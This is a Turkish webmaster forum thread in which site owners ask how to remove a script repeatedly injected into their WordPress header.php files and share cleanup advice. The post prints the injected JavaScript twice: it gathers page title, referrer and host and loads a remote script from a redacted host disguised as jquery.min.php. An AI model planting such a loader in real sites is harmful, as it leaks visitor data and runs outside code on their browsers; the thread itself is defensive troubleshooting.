Bu kodun anlamı nedir?

Uzun zamandır sitelerime bulaşan virüsü temizlemeye çalışıyorum önceden trojan uyarısı veriyordu kaypersky onu hallettim ama şimdide sunucudaki 20 den fazla sitelerimin header.php bölümüne aynı anda bu kodu basıyor siteye girildiği zaman bişey yok başka sayfaya geçmeye çalısınca yada belli bir süre sonra xxxx yazıdıgım siteye bağlanıyor diyor bu sorundan nasıl kurtulabilirim aşağıdaki kod tam olarak ne anlama geliyor?


<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "xxxxx/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>
<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "xxxxx/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

Merhaba,

o virus şuan bulunduğumuz bu forum içeriği sayfasına bulaşmış olsaydı sayfaya script src ile şunu çekecekti ;

xxxxx/js/jquery.min.php?c_utt=snt2014&c_utm=xxxxx/js/jquery.min.php?default_keyword=Bu%20kodun%20anlam% C4%B1%20nedir%3F&se_referrer=http%3A%2F%2Fwww.r10. net%2Fphp%2F&source=www.r10.net

eğer tüm kodlarda bu snt2014 şekilde bi rutin varsa sunucu tarafında içinde bu metin geçen dosyalar bulunup işlem yapabilir.

ne yaptığını öğrenmek için yukarıdaki örnek linke girip kodlara bakmak gerek.

tez zamanda çözersiniz umarım.
kolaylıklar

Kodlar dışardan trojanlı bir siteye yönlendiriyor kendi siteme değil, şu an sunucudaki bütün sitelerimi temizleyerek başka bir sunucuya aktarmaktan başka çarem kalmadığı için bu işlemi yapıyorum

Aynı durum benim bir arkadaşın sitesinde de var.Tema header.php'sine kod yazıyor.Aynı zamanda sunucuya shell script vb.. base 64 şifreli dosya da yükleniyor.Host firması açık yok diyor.Tema üreticisi açık yok diyor.Ftp, site admin şifrelerini değiştirdim.Ancak 2 kez eklendi.Siz sorunu çözebildiniz mi?

bu tarz kodlar masum script dosyası gibi başka dosyalar içerisinde de olabilir sadece header.php değil bütün dosyaları aratmanız gerekmektedir

Aynı sorun bir aydır bende de var arkadaşlar, bir tane sitemin header.php dosyasına sürekli kod atılıyor, siliyorum yine atılıyor bir türlü çözemedim sorunu, çözen olursa konuda paylaşırsa büyük sevaba girer

Temiz bir kurulumla siteleri taşımakla buldum çözümü

Kısa vadede header.php'ye yazma iznini kaldırabilirsiniz.Sonrasında ftp'deki tüm dosyaları silip, Wordpress dosyalarını tema vb dosyalarının temiz hallerini ftp'ye yeniden yüklemekle çözülüyor